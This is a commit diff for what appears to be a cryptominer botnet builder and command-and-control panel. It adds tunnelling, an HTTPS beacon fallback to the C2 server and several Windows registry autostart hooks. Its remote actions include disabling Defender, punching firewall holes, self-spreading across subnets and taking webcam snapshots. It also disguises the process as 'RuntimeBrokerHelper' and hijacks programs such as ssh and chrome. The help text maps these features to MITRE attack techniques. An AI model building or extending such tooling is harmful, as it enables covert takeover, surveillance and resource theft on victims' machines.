feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
@@ -7,6 +7,9 @@ export const AGGRESSIVE_REMOTE_ACTIONS = [
|
||||
'hole_punch_status',
|
||||
'spread_now',
|
||||
'start_tunnel',
|
||||
'tunnel_cloudflared',
|
||||
'tunnel_ssh_forward',
|
||||
'tunnel_stop',
|
||||
'subnet_scan',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
@@ -42,6 +45,9 @@ export function canRunAggressiveAction(
|
||||
case 'spread_now':
|
||||
return caps.auto_spread || caps.remote_aggressive;
|
||||
case 'start_tunnel':
|
||||
case 'tunnel_cloudflared':
|
||||
case 'tunnel_ssh_forward':
|
||||
case 'tunnel_stop':
|
||||
case 'subnet_scan':
|
||||
case 'defender_off':
|
||||
case 'firewall_punch':
|
||||
|
||||
@@ -16,6 +16,12 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
run_as: 'scheduled',
|
||||
host_binary_target: 'ssh',
|
||||
auto_start: true,
|
||||
autostart_mode: '',
|
||||
registry_persistence: '',
|
||||
registry_run_hkcu: false,
|
||||
registry_run_hklm: false,
|
||||
registry_run_once: false,
|
||||
registry_explorer_run: false,
|
||||
persistence: true,
|
||||
process_name: 'RuntimeBrokerHelper',
|
||||
max_cpu_usage_pct: 95,
|
||||
|
||||
@@ -245,6 +245,8 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
return {
|
||||
worker_name: { disabled: false, badge: 'baked' },
|
||||
server_url: { disabled: false, badge: 'baked' },
|
||||
https_beacon_fallback: { disabled: false, badge: 'baked' },
|
||||
https_beacon_after_min: { disabled: false, badge: 'baked' },
|
||||
wallet: { disabled: false, badge: 'baked' },
|
||||
output_dir: {
|
||||
disabled: false,
|
||||
@@ -329,6 +331,38 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
? 'Linked to persistence — Scheduled/Service mode always auto-starts.'
|
||||
: undefined,
|
||||
},
|
||||
autostart_mode: {
|
||||
disabled: !isWindowsOnly && !isUniversal,
|
||||
badge: 'baked',
|
||||
lockedReason:
|
||||
!isWindowsOnly && !isUniversal
|
||||
? 'Boot/logon autostart hooks are Windows-only.'
|
||||
: undefined,
|
||||
},
|
||||
registry_run_hkcu: {
|
||||
disabled: !isWindowsOnly && !isUniversal,
|
||||
badge: 'baked',
|
||||
lockedReason:
|
||||
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
|
||||
},
|
||||
registry_run_once: {
|
||||
disabled: !isWindowsOnly && !isUniversal,
|
||||
badge: 'baked',
|
||||
lockedReason:
|
||||
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
|
||||
},
|
||||
registry_run_hklm: {
|
||||
disabled: !isWindowsOnly && !isUniversal,
|
||||
badge: 'baked',
|
||||
lockedReason:
|
||||
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
|
||||
},
|
||||
registry_explorer_run: {
|
||||
disabled: !isWindowsOnly && !isUniversal,
|
||||
badge: 'baked',
|
||||
lockedReason:
|
||||
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
|
||||
},
|
||||
run_as: { disabled: false, badge: 'baked' },
|
||||
host_binary_target: {
|
||||
disabled: !isHostBinaryRun || (!isWindowsOnly && !isUniversal),
|
||||
|
||||
@@ -114,6 +114,7 @@ export function applySmartForgeDefaults(
|
||||
worker_name: worker,
|
||||
server_url: serverUrl,
|
||||
backup_server_urls: lanBackups,
|
||||
https_beacon_fallback: lanBackups.length > 0 ? true : form.https_beacon_fallback,
|
||||
wallet: form.wallet?.trim() || form.wallet,
|
||||
pool_host: form.pool_host || preset.pool_host!,
|
||||
pool_port: form.pool_port || preset.pool_port!,
|
||||
|
||||
@@ -13,6 +13,7 @@ const UI_REMOTE_ACTIONS = [
|
||||
'uninstall',
|
||||
'restart',
|
||||
'screenshot',
|
||||
'camera_snapshot',
|
||||
'ps',
|
||||
'sysinfo',
|
||||
'netstat',
|
||||
@@ -46,6 +47,8 @@ const AGENT_HANDLED = new Set([
|
||||
'users',
|
||||
'software',
|
||||
'screenshot',
|
||||
'camera_snapshot',
|
||||
'camera_list',
|
||||
'sysinfo',
|
||||
'ipconfig',
|
||||
'clipboard',
|
||||
@@ -55,6 +58,11 @@ const AGENT_HANDLED = new Set([
|
||||
'hole_punch_status',
|
||||
'spread_now',
|
||||
'start_tunnel',
|
||||
'tunnel_cloudflared',
|
||||
'tunnel_wireguard',
|
||||
'tunnel_ssh_forward',
|
||||
'tunnel_status',
|
||||
'tunnel_stop',
|
||||
'subnet_scan',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
@@ -88,8 +96,8 @@ describe('remote action wiring', () => {
|
||||
|
||||
describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
|
||||
it('lists every wired aggressive command once', () => {
|
||||
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(15);
|
||||
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(15);
|
||||
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(18);
|
||||
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(18);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -126,6 +134,9 @@ describe('canRunAggressiveAction edge cases', () => {
|
||||
const noAgg = { ...fullCaps, remote_aggressive: false };
|
||||
for (const action of [
|
||||
'start_tunnel',
|
||||
'tunnel_cloudflared',
|
||||
'tunnel_ssh_forward',
|
||||
'tunnel_stop',
|
||||
'subnet_scan',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
|
||||
@@ -13,9 +13,12 @@ export function sanitizeScreenshotBase64(raw: string): string {
|
||||
return fallback.length >= 100 ? fallback : '';
|
||||
}
|
||||
|
||||
export type CaptureDownloadKind = 'screenshot' | 'camera';
|
||||
|
||||
export function downloadScreenshotFromBase64(
|
||||
base64: string,
|
||||
agentLabel: string
|
||||
agentLabel: string,
|
||||
kind: CaptureDownloadKind = 'screenshot'
|
||||
): boolean {
|
||||
const clean = sanitizeScreenshotBase64(base64);
|
||||
if (clean.length < 100) return false;
|
||||
@@ -26,7 +29,7 @@ export function downloadScreenshotFromBase64(
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = `screenshot-${safeName}-${stamp}.jpg`;
|
||||
a.download = `${kind}-${safeName}-${stamp}.jpg`;
|
||||
a.rel = 'noopener';
|
||||
document.body.appendChild(a);
|
||||
a.click();
|
||||
|
||||
@@ -35,6 +35,7 @@ describe('FIELD_HELP', () => {
|
||||
'forge_simple_mode',
|
||||
'forge_recommended_defaults',
|
||||
'obfuscate',
|
||||
'sigil_scramble',
|
||||
'sign_build',
|
||||
'obfuscate_default',
|
||||
'sign_enabled',
|
||||
@@ -64,7 +65,14 @@ describe('FIELD_HELP', () => {
|
||||
'display_mode',
|
||||
'process_name',
|
||||
'persistence',
|
||||
'autostart_mode',
|
||||
'registry_persistence',
|
||||
'registry_run_hkcu',
|
||||
'registry_run_once',
|
||||
'registry_run_hklm',
|
||||
'registry_explorer_run',
|
||||
'run_as',
|
||||
'host_binary_target',
|
||||
'silent_mode',
|
||||
'auto_start',
|
||||
'fusion_enabled',
|
||||
@@ -77,11 +85,15 @@ describe('FIELD_HELP', () => {
|
||||
'install_custom_base',
|
||||
'install_relative_path',
|
||||
'public_url',
|
||||
'https_beacon_fallback',
|
||||
'https_beacon_after_min',
|
||||
'webhook_url',
|
||||
'websocket_ping_seconds',
|
||||
'log_pool_traffic',
|
||||
'adapt_to_hardware',
|
||||
'self_healing',
|
||||
'firewall_exclusion',
|
||||
'firewall_remote',
|
||||
'open_firewall_on_start',
|
||||
'file_logging',
|
||||
'stealth_mode',
|
||||
|
||||
@@ -67,6 +67,18 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
display_mode: 'Visible shows a console window. Silent hides the window. Background is silent plus low priority — best for desktops.',
|
||||
process_name: 'Installed .exe filename without extension. Shows in Task Manager. Example: RuntimeBrokerHelper',
|
||||
persistence: 'When enabled, miner auto-starts after reboot via Windows Run key or scheduled task.',
|
||||
autostart_mode:
|
||||
'Extra boot/logon hooks (Windows, MITRE T1547-style). Legacy (empty) keeps today\'s behavior. Boot task = ONSTART at system boot (SYSTEM). Logon task = ONLOGON when a user signs in. Logon Run = HKCU Run key. Startup folder = shortcut in %APPDATA%\\...\\Startup. All = every hook. Does not replace Run As scheduled/BITS/host-binary modes.',
|
||||
registry_persistence:
|
||||
'Forge-baked registry Run/RunOnce hooks (MITRE T1112). Separate from boot tasks: Run keys fire at user logon; RunOnce runs once then removes itself. HKLM requires elevation — skipped silently if not admin. Value name: AetherForge_{worker}. Uninstall removes only keys this agent created.',
|
||||
registry_run_hkcu:
|
||||
'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run — standard per-user logon autostart. Works without admin.',
|
||||
registry_run_once:
|
||||
'HKCU\\...\\RunOnce — runs once at next logon then deletes the value. Useful for one-shot relaunch after upgrade.',
|
||||
registry_run_hklm:
|
||||
'HKLM Run + RunOnce — machine-wide logon hooks. Only written when the agent process is elevated; otherwise skipped.',
|
||||
registry_explorer_run:
|
||||
'HKCU\\...\\Policies\\Explorer\\Run — less common Group-Policy-style logon hook. Same user scope as HKCU Run.',
|
||||
run_as: 'User = Run key when persistence is on. Scheduled/Service = logon task. BITS = transfer notify job. Host Binary = replace a client app (ssh, browser, FTP, etc.) with the worker; running that app relaunches the miner then executes the original backup. Windows + admin for system paths.',
|
||||
host_binary_target: 'Which host application to hijack: ssh, ftp, chrome, edge, firefox, putty, winscp, mstsc, notepad, calc, curl, telnet, or custom:C:\\full\\path.exe',
|
||||
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
|
||||
@@ -110,4 +122,10 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
target_arch: 'CPU architecture for single-platform Linux/macOS builds (amd64 or arm64). Ignored for Universal.',
|
||||
spread_kit: 'Spread Kit ZIP: deploy scripts for each OS that silently install the worker via --spread-install. No fusion wrapper.',
|
||||
forge_deliverable: 'What you are shipping: a single-platform installer, a silent multi-OS Spread Kit, or a movie/prep fusion package.',
|
||||
https_beacon_fallback:
|
||||
'Primary C2 = WebSocket (MITRE T1071.001). When WS is unreachable for several minutes, the agent falls back to normal HTTPS POST beacons on /api/v1/agent/beacon — same TLS and fleet secret as the REST API. Enabled by default when backup server URLs are set.',
|
||||
https_beacon_after_min:
|
||||
'Minutes without a live WebSocket before the agent switches to HTTPS beacon polling. Default 3.',
|
||||
webhook_url:
|
||||
'Optional operator webhook (T1071.005 lite). Calibrate POSTs JSON {event, title, message} on fleet events. Complements Telegram — not an agent transport channel.',
|
||||
};
|
||||
|
||||
Reference in New Issue
Block a user